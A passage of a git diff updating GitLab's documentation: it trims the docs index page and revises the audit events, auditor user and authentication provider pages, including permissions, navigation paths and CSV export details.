-| [Wikis](user/project/wiki/index.md) | Enhance your repository documentation with built-in wikis. |
-
-<div align="right">
- <a type="button" class="btn btn-default" href="#overview">
- Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i>
- </a>
-</div>
-
-#### Repositories
-
-| Create topics - Repositories | Description |
-|:-----------------------------------------------------------------------------------------------------------------------------------------|:-----------------------------------------------------------------|
-| [Branches](user/project/repository/branches/index.md) and the [default branch](user/project/repository/branches/index.md#default-branch) | How to use branches in GitLab. |
-| [Commits](user/project/repository/index.md#commits) and [signing commits](user/project/repository/gpg_signed_commits/index.md) | Work with commits, and use GPG to sign your commits. |
-| [Create branches](user/project/repository/web_editor.md#create-a-new-branch), [create](user/project/repository/web_editor.md#create-a-file)<br/>and [upload](user/project/repository/web_editor.md#upload-a-file) files, and [create directories](user/project/repository/web_editor.md#create-a-directory) | Create branches, create and upload files, and create directories within GitLab. |
-| [Delete merged branches](user/project/repository/branches/index.md#delete-merged-branches) | Bulk delete branches after their changes are merged. |
-| [File templates](user/project/repository/web_editor.md#template-dropdowns) | File templates for common files. |
-| [Files](user/project/repository/index.md#files) | Files management. |
-| [Jupyter Notebook files](user/project/repository/jupyter_notebooks/index.md#jupyter-notebook-files) | GitLab's support for `.ipynb` files. |
-| [Protected branches](user/project/protected_branches.md) | Use protected branches. |
-| [Push rules](push_rules/push_rules.md) **(STARTER)** | Additional control over pushes to your projects. |
-| [Repositories](user/project/repository/index.md) | Manage source code repositories in GitLab's user interface. |
-| [Repository mirroring](user/project/repository/repository_mirroring.md) **(STARTER)** | Push to or pull from repositories outside of GitLab |
-| [Start a merge request](user/project/repository/web_editor.md#tips) | Start merge request when committing via GitLab's user interface. |
-
-<div align="right">
- <a type="button" class="btn btn-default" href="#overview">
- Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i>
- </a>
-</div>
-
-#### Merge requests
-
-| Create topics - Merge Requests | Description |
-|:---------------------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------------------------------------|
-| [Checking out merge requests locally](user/project/merge_requests/reviewing_and_managing_merge_requests.md#checkout-merge-requests-locally-through-the-head-ref) | Tips for working with merge requests locally. |
-| [Cherry-picking](user/project/merge_requests/cherry_pick_changes.md) | Use GitLab for cherry-picking changes. |
-| [Merge request thread resolution](user/discussions/index.md#moving-a-single-thread-to-a-new-issue) | Resolve threads, move threads in a merge request to an issue, and only allow merge requests to be merged if all threads are resolved. |
-| [Merge requests](user/project/merge_requests/index.md) | Merge request management. |
-| [Draft merge requests](user/project/merge_requests/work_in_progress_merge_requests.md) | Prevent merges of draft merge requests. |
-
-<div align="right">
- <a type="button" class="btn btn-default" href="#overview">
- Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i>
- </a>
-</div>
-
-#### Integration and Automation
-
-| Create topics - Integration and Automation | Description |
-|:----------------------------------------------------------------|:-----------------------------------------------------------------------------------------------------------------------|
-| [GitLab REST API](api/README.md) | Integrate with GitLab using our REST API. |
-| [GitLab GraphQL API](api/graphql/index.md) | Integrate with GitLab using our GraphQL API. |
-| [GitLab integrations](integration/README.md) | Integrate with multiple third-party services with GitLab to allow external issue trackers and external authentication. |
-| [GitLab Webhooks](user/project/integrations/webhooks.md) | Let GitLab notify you when new code has been pushed to your project. |
-| [Jira Development Panel](integration/jira_development_panel.md) | See GitLab information in the Jira Development Panel. |
-| [Integrations](user/project/integrations/overview.md) | Integrate a project with external services, such as CI and chat. |
-| [Trello Power-Up](integration/trello_power_up.md) | Integrate with GitLab's Trello Power-Up. |
-
-<div align="right">
- <a type="button" class="btn btn-default" href="#overview">
- Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i>
- </a>
-</div>
-
-### Verify
-
-Spot errors sooner, improve security and shorten feedback cycles with built-in
-static code analysis, code testing, code quality, dependency checking, and Review
-Apps. Customize your approval workflow controls, automatically test the quality
-of your code, and spin up a staging environment for every code change.
-
-GitLab Continuous Integration is the most popular next generation testing system that
-scales to run your tests faster.
-
-The following documentation relates to the DevOps **Verify** stage:
-
-| Verify topics | Description |
-|:-----------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------|
-| [Code Quality reports](user/project/merge_requests/code_quality.md) | Analyze source code quality. |
-| [GitLab CI/CD](ci/README.md) | Explore the features and capabilities of Continuous Integration with GitLab. |
-| [Unit test reports](ci/unit_test_reports.md) | Display Unit test reports on merge requests. |
-| [Multi-project pipelines](ci/multi_project_pipelines.md) **(PREMIUM)** | Visualize entire pipelines that span multiple projects, including all cross-project inter-dependencies. |
-| [Pipeline graphs](ci/pipelines/index.md#visualize-pipelines) | Visualize builds. |
-| [Review Apps](ci/review_apps/index.md) | Preview changes to your application right from a merge request. |
-
-<div align="right">
- <a type="button" class="btn btn-default" href="#overview">
- Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i>
- </a>
-</div>
-
-### Package
-
-GitLab Packages allows organizations to use GitLab as a private repository
-for a variety of common package managers. Users are able to build and publish
-packages, which can be consumed as a dependency in downstream projects.
-
-The following documentation relates to the DevOps **Package** stage:
+and operations that enables [Concurrent DevOps](https://about.gitlab.com/topics/concurrent-devops/).
+GitLab makes the software lifecycle faster and radically improves the speed of business.
-| Package topics | Description |
-|:----------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------|
-| [Container Registry](user/packages/container_registry/index.md) | The GitLab Container Registry enables every project in GitLab to have its own space to store [Docker](https://www.docker.com/) images. |
-| [Dependency Proxy](user/packages/dependency_proxy/index.md) | The GitLab Dependency Proxy sets up a local proxy for frequently used upstream images/packages. |
-| [Package Registry](user/packages/package_registry/index.md) | Use GitLab as a private or public registry for a variety of common package managers, including [NPM](user/packages/npm_registry/index.md), [Maven](user/packages/maven_repository/index.md), [PyPI](user/packages/pypi_repository/index.md), and others. You can also store generic files. |
-
-<div align="right">
- <a type="button" class="btn btn-default" href="#overview">
- Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i>
- </a>
-</div>
-
-### Secure
-
-Check your application for security vulnerabilities that may lead to unauthorized access, data
-leaks, or denial of service. GitLab can perform static and dynamic tests on your application's code,
-looking for known flaws and reporting them in the merge request. You can then fix flaws prior to
-merge. Security teams can use dashboards to get a high-level view on projects and groups, and start
-remediation processes when needed.
-
-The following documentation relates to the DevOps **Secure** stage:
-
-| Secure topics | Description |
-|:------------------------------------------------------------------------------------------------------------------------------|:-----------------------------------------------------------------------|
-| [Compliance Dashboard](user/compliance/compliance_dashboard/index.md) **(ULTIMATE)** | View the most recent Merge Request activity in a group. |
-| [Container Scanning](user/application_security/container_scanning/index.md) **(ULTIMATE)** | Use Clair to scan Docker images for known vulnerabilities. |
-| [Dependency List](user/application_security/dependency_list/index.md) **(ULTIMATE)** | View your project's dependencies and their known vulnerabilities. |
-| [Dependency Scanning](user/application_security/dependency_scanning/index.md) **(ULTIMATE)** | Analyze your dependencies for known vulnerabilities. |
-| [Dynamic Application Security Testing (DAST)](user/application_security/dast/index.md) **(ULTIMATE)** | Analyze running web applications for known vulnerabilities. |
-| [Group Security Dashboard](user/application_security/security_dashboard/index.md#group-security-dashboard) **(ULTIMATE)** | View vulnerabilities in all the projects in a group and its subgroups. |
-| [Instance Security Center](user/application_security/security_dashboard/index.md#instance-security-center) **(ULTIMATE)** | View vulnerabilities in all the projects you're interested in. |
-| [License Compliance](user/compliance/license_compliance/index.md) **(ULTIMATE)** | Search your project's dependencies for their licenses. |
-| [Pipeline Security](user/application_security/security_dashboard/index.md#pipeline-security) **(ULTIMATE)** | View the security reports for your project's pipelines. |
-| [Project Security Dashboard](user/application_security/security_dashboard/index.md#project-security-dashboard) **(ULTIMATE)** | View the latest security reports for your project. |
-| [Static Application Security Testing (SAST)](user/application_security/sast/index.md) **(ULTIMATE)** | Analyze source code for known vulnerabilities. |
-
-### Release
-
-Spend less time configuring your tools, and more time creating. Whether you’re
-deploying to one server or thousands, build, test, and release your code
-confidently and securely with GitLab’s built-in Continuous Delivery and Deployment.
-
-The following documentation relates to the DevOps **Release** stage:
-
-| Release topics | Description |
-|:---------------------------------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------------------------------------|
-| [Auto Deploy](topics/autodevops/stages.md#auto-deploy) | Configure GitLab for the deployment of your application. |
-| [Canary Deployments](user/project/canary_deployments.md) **(PREMIUM)** | Employ a popular CI strategy where a small portion of the fleet is updated to the new version first. |
-| [Deploy Boards](user/project/deploy_boards.md) **(PREMIUM)** | View the current health and status of each CI environment running on Kubernetes, displaying the status of the pods in the deployment. |
-| [Environments and deployments](ci/environments/index.md) | With environments, you can control the continuous deployment of your software within GitLab. |
-| [Environment-specific variables](ci/variables/README.md#limit-the-environment-scopes-of-environment-variables) | Limit the scope of variables to specific environments. |
-| [GitLab CI/CD](ci/README.md) | Explore the features and capabilities of Continuous Deployment and Delivery with GitLab. |
-| [GitLab Pages](user/project/pages/index.md) | Build, test, and deploy a static site directly from GitLab. |
-| [Protected runners](ci/runners/README.md#prevent-runners-from-revealing-sensitive-information) | Select Runners to only pick jobs for protected branches and tags. |
-| [Schedule pipelines](ci/pipelines/schedules.md) | Execute pipelines on a schedule. |
-
-<div align="right">
- <a type="button" class="btn btn-default" href="#overview">
- Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i>
- </a>
-</div>
-
-### Configure
-
-Automate your entire workflow from build to deploy and monitoring with GitLab
-Auto DevOps. Best practice templates help get you started with minimal to zero
-configuration. Then customize everything from buildpacks to CI/CD.
-
-The following documentation relates to the DevOps **Configure** stage:
-
-| Configure topics | Description |
-|:----------------------------------------------------------------------------------------------|:--------------------------------------------------------------------------|
-| [Auto DevOps](topics/autodevops/index.md) | Automatically employ a complete DevOps lifecycle. |
-| [Create Kubernetes clusters](user/project/clusters/add_remove_clusters.md#create-new-cluster) | Use Kubernetes and GitLab. |
-| [Executable Runbooks](user/project/clusters/runbooks/index.md) | Documented procedures that explain how to carry out particular processes. |
-| [GitLab ChatOps](ci/chatops/README.md) | Interact with CI/CD jobs through chat services. |
-| [Installing applications](user/project/clusters/index.md#installing-applications) | Install Helm charts such as Ingress and Prometheus on Kubernetes. |
-| [Mattermost slash commands](user/project/integrations/mattermost_slash_commands.md) | Enable and use slash commands from within Mattermost. |
-| [Multiple Kubernetes clusters](user/project/clusters/index.md#multiple-kubernetes-clusters) | Associate more than one Kubernetes clusters to your project. |
-| [Protected variables](ci/variables/README.md#protect-a-custom-variable) | Restrict variables to protected branches and tags. |
-| [Serverless](user/project/clusters/serverless/index.md) | Run serverless workloads on Kubernetes. |
-| [Slack slash commands](user/project/integrations/slack_slash_commands.md) | Enable and use slash commands from within Slack. |
-| [Manage your infrastructure with Terraform](user/infrastructure/index.md) | Manage your infrastructure as you run your CI/CD pipeline. |
-
-<div align="right">
- <a type="button" class="btn btn-default" href="#overview">
- Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i>
- </a>
-</div>
-
-### Monitor
-
-Ensure your applications are always responsive and available.
-
-GitLab collects and displays performance metrics for deployed applications so you can know in an
-instant how code changes impact your production environment.
-
-The following documentation relates to the DevOps **Monitor** stage:
-
-| Monitor topics | Description |
-|:------------------------------------------------------------------------------------------------|:-----------------------------------------------------------------------------------------------------------------------------------------|
-| [GitLab Performance Monitoring](administration/monitoring/performance/index.md) **(CORE ONLY)** | Use Prometheus and Grafana to monitor the performance of your GitLab instance. |
-| [GitLab Prometheus](administration/monitoring/prometheus/index.md) **(CORE ONLY)** | Configure the bundled Prometheus to collect various metrics from your GitLab instance. |
-| [Health check](user/admin_area/monitoring/health_check.md) | GitLab provides liveness and readiness probes to indicate service health and reachability to required services. |
-| [Prometheus project integration](user/project/integrations/prometheus.md) | Configure the Prometheus integration per project and monitor your CI/CD environments. |
-| [Prometheus metrics](user/project/integrations/prometheus_library/index.md) | Let Prometheus collect metrics from various services, like Kubernetes, NGINX, NGINX Ingress controller, HAProxy, and Amazon Cloud Watch. |
-| [Incident management](operations/incident_management/index.md) | Use GitLab to help you better respond to incidents that may occur in your systems. |
-
-<div align="right">
- <a type="button" class="btn btn-default" href="#overview">
- Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i>
- </a>
-</div>
-
-### Defend
-
-GitLab Defend enables organizations to proactively protect cloud-native environments by providing
-context-aware technologies to reduce overall security risk. Defend is a natural extension of your
-existing operation's practices and provides security visibility across the entire DevSecOps
-lifecycle. This visibility empowers your organization to apply DevSecOps best practices from the
-first line of code written and extends all the way through to greater monitoring and protection for
-your applications that are deployed in production.
-
-The following documentation relates to the DevOps **Defend** stage:
-
-| Defend topics | Description |
-|:---------------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
-| [Web Application Firewall with ModSecurity](user/compliance/compliance_dashboard/index.md) | Filter, monitor, and block HTTP traffic to and from a web application. |
-| [Container host security](user/clusters/applications.md#install-falco-using-gitlab-cicd) | Detect and respond to security threats at the Kubernetes, network, and host level. |
-| [Container network security](user/clusters/applications.md#install-cilium-using-gitlab-cicd) | Detect and block unauthorized network traffic between pods and to/from the internet. |
+GitLab provides solutions for [each of the stages of the DevOps lifecycle](https://about.gitlab.com/stages-devops-lifecycle/).
## New to Git and GitLab?
@@ -408,14 +69,8 @@ We have the following documentation to rapidly uplift your GitLab knowledge:
| [GitLab basics guides](gitlab-basics/README.md) | Start working on the command line and with GitLab. |
| [GitLab workflow overview](https://about.gitlab.com/blog/2016/10/25/gitlab-workflow-an-overview/) | Enhance your workflow with the best of GitLab Workflow. |
| [Get started with GitLab CI/CD](ci/quick_start/README.md) | Quickly implement GitLab CI/CD. |
-| [Auto DevOps](topics/autodevops/index.md) | Learn more about GitLab's Auto DevOps. |
-| [GitLab Markdown](user/markdown.md) | GitLab's advanced formatting system (GitLab Flavored Markdown) |
-
-<div align="right">
- <a type="button" class="btn btn-default" href="#overview">
- Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i>
- </a>
-</div>
+| [Auto DevOps](topics/autodevops/index.md) | Learn more about Auto DevOps in GitLab. |
+| [GitLab Markdown](user/markdown.md) | Advanced formatting system (GitLab Flavored Markdown) |
### User account
@@ -428,12 +83,6 @@ Learn more about GitLab account management:
| [Profile settings](user/profile/index.md#profile-settings) | Manage your profile settings, two factor authentication, and more. |
| [User permissions](user/permissions.md) | Learn what each role in a project can do. |
-<div align="right">
- <a type="button" class="btn btn-default" href="#overview">
- Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i>
- </a>
-</div>
-
### Git and GitLab
Learn more about using Git, and using Git with GitLab:
@@ -444,12 +93,6 @@ Learn more about using Git, and using Git with GitLab:
| [Git cheat sheet](https://about.gitlab.com/images/press/git-cheat-sheet.pdf) | Download a PDF describing the most used Git operations. |
| [GitLab Flow](topics/gitlab_flow.md) | Explore the best of Git with the GitLab Flow strategy. |
-<div align="right">
- <a type="button" class="btn btn-default" href="#overview">
- Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i>
- </a>
-</div>
-
## Coming to GitLab from another platform
If you are coming to GitLab from another platform, the following information is useful:
@@ -459,27 +102,15 @@ If you are coming to GitLab from another platform, the following information is
| [Importing to GitLab](user/project/import/index.md) | Import your projects from GitHub, Bitbucket, GitLab.com, FogBugz, and SVN into GitLab. |
| [Migrating from SVN](user/project/import/svn.md) | Convert a SVN repository to Git and GitLab. |
-<div align="right">
- <a type="button" class="btn btn-default" href="#overview">
- Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i>
- </a>
-</div>
-
## Build an integration with GitLab
There are many ways to integrate with GitLab, including:
-| Topic | Description |
-|:-----------------------------------------------------------|:-----------------------------------------------|
-| [GitLab REST API](api/README.md) | Integrate with GitLab using our REST API. |
-| [GitLab GraphQL API](api/graphql/index.md) | Integrate with GitLab using our GraphQL API. |
-| [Integrations and automation](#integration-and-automation) | All GitLab integration and automation options. |
-
-<div align="right">
- <a type="button" class="btn btn-default" href="#overview">
- Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i>
- </a>
-</div>
+| Topic | Description |
+|:-------------------------------------------|:---------------------------------------------|
+| [GitLab REST API](api/README.md) | Integrate with GitLab using our REST API. |
+| [GitLab GraphQL API](api/graphql/index.md) | Integrate with GitLab using our GraphQL API. |
+| [Integrations](integration/README.md) | Integrations with third-party products. |
## Contributing to GitLab
@@ -493,9 +124,3 @@ Learn how to contribute to GitLab with the following resources:
| [Development](development/README.md) | How to contribute to GitLab development. |
| [Legal](legal/README.md) | Contributor license agreements. |
| [Writing documentation](development/documentation/index.md) | How to contribute to GitLab Docs. |
-
-<div align="right">
- <a type="button" class="btn btn-default" href="#overview">
- Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i>
- </a>
-</div>
diff --git a/doc/administration/audit_events.md b/doc/administration/audit_events.md
index 67a3a3c1539..7436661920a 100644
--- a/doc/administration/audit_events.md
+++ b/doc/administration/audit_events.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Compliance
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Audit Events **(STARTER)**
@@ -44,10 +44,10 @@ Impersonation is where an administrator uses credentials to perform an action as
### Group events **(STARTER)**
-NOTE: **Note:**
-You need Owner [permissions](../user/permissions.md) to view the group Audit Events page.
+A user with a Owner role (or above) can retrieve group audit events of all users.
+A user with a Developer or Maintainer role is limited to group audit events based on their individual actions.
-To view a group's audit events, navigate to **Group > Settings > Audit Events**.
+To view a group's audit events, navigate to **Group > Security & Compliance > Audit Events**.
From there, you can see the following actions:
- Group name or path changed.
@@ -74,10 +74,10 @@ Group events can also be accessed via the [Group Audit Events API](../api/audit_
### Project events **(STARTER)**
-NOTE: **Note:**
-You need Maintainer [permissions](../user/permissions.md) or higher to view the project Audit Events page.
+A user with a Maintainer role (or above) can retrieve project audit events of all users.
+A user with a Developer role is limited to project audit events based on their individual actions.
-To view a project's audit events, navigate to **Project > Settings > Audit Events**.
+To view a project's audit events, navigate to **Project > Security & Compliance > Audit Events**.
From there, you can see the following actions:
- Added or removed deploy keys
@@ -107,11 +107,11 @@ Project events can also be accessed via the [Project Audit Events API](../api/au
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2336) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.3.
-Server-wide audit logging introduces the ability to observe user actions across
+Server-wide audit events introduce the ability to observe user actions across
the entire instance of your GitLab server, making it easy to understand who
changed what and when for audit purposes.
-To view the server-wide administrator log, visit **Admin Area > Monitoring > Audit Log**.
+To view the server-wide administrator log, visit **Admin Area > Monitoring > Audit Events**.
In addition to the group and project events, the following user actions are also
recorded:
@@ -133,12 +133,6 @@ recorded:
- A user's personal access token was successfully created or revoked ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276921) in GitLab 13.6)
- A failed attempt to create or revoke a user's personal access token ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276921) in GitLab 13.6)
-It's possible to filter particular actions by choosing an audit data type from
-the filter dropdown box. You can further filter by specific group, project, or user
-(for authentication events).
-
-![audit log](img/audit_log.png)
-
Instance events can also be accessed via the [Instance Audit Events API](../api/audit_events.md#instance-audit-events).
### Missing events
@@ -156,11 +150,11 @@ on adding these events into GitLab:
#### Repository push
The current architecture of audit events is not prepared to receive a very high amount of records.
-It may make the user interface for your project or audit logs very busy, and the disk space consumed by the
+It may make the user interface for your project or audit events very busy, and the disk space consumed by the
`audit_events` PostgreSQL table may increase considerably. It's disabled by default
to prevent performance degradations on GitLab instances with very high Git write traffic.
-In an upcoming release, Audit Logs for Git push events will be enabled
+In an upcoming release, Audit Events for Git push events will be enabled
by default. Follow [#7865](https://gitlab.com/gitlab-org/gitlab/-/issues/7865) for updates.
If you still wish to enable **Repository push** events in your instance, follow
@@ -180,42 +174,37 @@ the steps bellow.
Feature.enable(:repository_push_audit_event)
```
-## Retention policy
+## Search
+
+The search filters you can see depends on which audit level you are at.
-On GitLab.com, Audit Event records become subject to deletion after 400 days, or when your license is downgraded to a tier that does not include access to Audit Events. Data that is subject to deletion will be deleted at GitLab's discretion, possibly without additional notice.
+| Filter | Available options |
+| ------ | ----------------- |
+| Scope (Project level) | A specific user who performed the action. |
+| Scope (Group level) | A specific user (in a group) who performed the action. |
+| Scope (Instance level) | A specific group, project, or user that the action was scoped to. |
+| Date range | Either via the date range buttons or pickers (maximum range of 31 days). Default is from the first day of the month to today's date. |
-If you require a longer retention period, you should independently archive your Audit Event data, which you can retrieve through the [Audit Events API](../api/audit_events.md).
+![audit events](img/audit_log_v13_6.png)
## Export to CSV **(PREMIUM ONLY)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1449) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4.
-> - It's [deployed behind a feature flag](../user/feature_flags.md), disabled by default.
-> - It's disabled on GitLab.com.
-> - It's not recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-audit-log-export-to-csv). **(PREMIUM ONLY)**
-
-CAUTION: **Warning:**
-This feature might not be available to you. Check the **version history** note above for details.
-If available, you can enable it with a [feature flag](#enable-or-disable-audit-log-export-to-csv).
-
-Export to CSV allows customers to export the current filter view of your audit log as a
-CSV file,
-which stores tabular data in plain text. The data provides a comprehensive view with respect to
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/285441) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.7.
+
+Export to CSV allows customers to export the current filter view of your audit events as a
+CSV file, which stores tabular data in plain text. The data provides a comprehensive view with respect to
audit events.
-To export the Audit Log to CSV, navigate to
-**{monitor}** **Admin Area > Monitoring > Audit Log**
+To export the Audit Events to CSV, navigate to
+**{monitor}** **Admin Area > Monitoring > Audit Events**
-1. Click in the field **Search**.
-1. In the dropdown menu that appears, select the event type that you want to filter by.
-1. Select the preferred date range.
+1. Select the available search [filters](#search).
1. Click **Export as CSV**.
-![Export Audit Log](img/export_audit_log_v13_4.png)
-
### Sort
-Exported events are always sorted by `ID` in ascending order.
+Exported events are always sorted by `created_at` in ascending order.
### Format
@@ -228,8 +217,8 @@ The first row contains the headers, which are listed in the following table alon
| Author ID | ID of the author |
| Author Name | Full name of the author |
| Entity ID | ID of the scope |
-| Entity Type | Type of the entity (`Project`/`Group`/`User`) |
-| Entity Path | Path of the entity |
+| Entity Type | Type of the scope (`Project`/`Group`/`User`) |
+| Entity Path | Path of the scope |
| Target ID | ID of the target |
| Target Type | Type of the target |
| Target Details | Details of the target |
@@ -239,24 +228,5 @@ The first row contains the headers, which are listed in the following table alon
### Limitation
-The Audit Log CSV file size is limited to a maximum of `100,000` events.
+The Audit Events CSV file is limited to a maximum of `100,000` events.
The remaining records are truncated when this limit is reached.
-
-### Enable or disable Audit Log Export to CSV
-
-The Audit Log Export to CSV is under development and not ready for production use. It is
-deployed behind a feature flag that is **disabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md)
-can enable it.
-
-To enable it:
-
-```ruby
-Feature.enable(:audit_log_export_csv)
-```
-
-To disable it:
-
-```ruby
-Feature.disable(:audit_log_export_csv)
-```
diff --git a/doc/administration/audit_reports.md b/doc/administration/audit_reports.md
index 9c772302375..2721ee39b60 100644
--- a/doc/administration/audit_reports.md
+++ b/doc/administration/audit_reports.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Compliance
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
description: 'Learn how to create evidence artifacts typically requested by a 3rd party auditor.'
---
diff --git a/doc/administration/auditor_users.md b/doc/administration/auditor_users.md
index c41065abd17..7db20efb03f 100644
--- a/doc/administration/auditor_users.md
+++ b/doc/administration/auditor_users.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Auditor users **(PREMIUM ONLY)**
@@ -58,7 +58,7 @@ helpful:
To create a new Auditor user:
1. Create a new user or edit an existing one by navigating to
- **Admin Area > Users**. You will find the option of the access level in
+ **Admin Area > Users**. The option of the access level is located in
the 'Access' section.
![Admin Area Form](img/auditor_access_form.png)
diff --git a/doc/administration/auth/README.md b/doc/administration/auth/README.md
index cf82454cfd2..cc3421d3133 100644
--- a/doc/administration/auth/README.md
+++ b/doc/administration/auth/README.md
@@ -3,7 +3,7 @@ comments: false
type: index
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab authentication and authorization
@@ -36,5 +36,5 @@ providers:
- [Smartcard](smartcard.md) **(PREMIUM ONLY)**
- [Twitter](../../integration/twitter.md)
-NOTE: **Note:**
+NOTE:
UltraAuth has removed their software which supports OmniAuth integration. We have therefore removed all references to UltraAuth integration.
diff --git a/doc/administration/auth/atlassian.md b/doc/administration/auth/atlassian.md
index 3a1f5eeb0c2..9c5da558b0d 100644
--- a/doc/administration/auth/atlassian.md
+++ b/doc/administration/auth/atlassian.md
@@ -2,7 +2,7 @@
type: reference
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Atlassian OmniAuth Provider
diff --git a/doc/administration/auth/authentiq.md b/doc/administration/auth/authentiq.md
index 56f6fddc1af..dbc5e446287 100644
--- a/doc/administration/auth/authentiq.md
+++ b/doc/administration/auth/authentiq.md
@@ -2,7 +2,7 @@
type: reference
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Authentiq OmniAuth Provider
diff --git a/doc/administration/auth/cognito.md b/doc/administration/auth/cognito.md
index e777acd0d32..f264321ea6c 100644
--- a/doc/administration/auth/cognito.md
+++ b/doc/administration/auth/cognito.md
@@ -2,7 +2,7 @@
type: concepts, howto
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Amazon Web Services Cognito
diff --git a/doc/administration/auth/crowd.md b/doc/administration/auth/crowd.md
index 6e3dbcb68b3..440d956fc8f 100644
--- a/doc/administration/auth/crowd.md
+++ b/doc/administration/auth/crowd.md
@@ -2,12 +2,13 @@
type: reference
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Atlassian Crowd OmniAuth Provider
-Authenticate to GitLab using the Atlassian Crowd OmniAuth provider.
+Authenticate to GitLab using the Atlassian Crowd OmniAuth provider. Enabling
+this provider also allows Crowd authentication for Git-over-https requests.
## Configure a new Crowd application
diff --git a/doc/administration/auth/google_secure_ldap.md b/doc/administration/auth/google_secure_ldap.md
index d30efc6d3cc..37366b00f73 100644
--- a/doc/administration/auth/google_secure_ldap.md
+++ b/doc/administration/auth/google_secure_ldap.md
@@ -3,3 +3,6 @@ redirect_to: 'ldap/google_secure_ldap.md'
---
This document was moved to [another location](ldap/google_secure_ldap.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/auth/how_to_configure_ldap_gitlab_ce/index.md b/doc/administration/auth/how_to_configure_ldap_gitlab_ce/index.md
index 40d021e180c..ffce06afb63 100644
--- a/doc/administration/auth/how_to_configure_ldap_gitlab_ce/index.md
+++ b/doc/administration/auth/how_to_configure_ldap_gitlab_ce/index.md
@@ -3,3 +3,6 @@ redirect_to: '../ldap/index.md'
---
This document was moved to [another location](../ldap/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/auth/how_to_configure_ldap_gitlab_ee/index.md b/doc/administration/auth/how_to_configure_ldap_gitlab_ee/index.md
index 40d021e180c..ffce06afb63 100644
--- a/doc/administration/auth/how_to_configure_ldap_gitlab_ee/index.md
+++ b/doc/administration/auth/how_to_configure_ldap_gitlab_ee/index.md
@@ -3,3 +3,6 @@ redirect_to: '../ldap/index.md'
---
This document was moved to [another location](../ldap/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/auth/jwt.md b/doc/administration/auth/jwt.md
index d3a77fdaca5..448922230e7 100644
--- a/doc/administration/auth/jwt.md
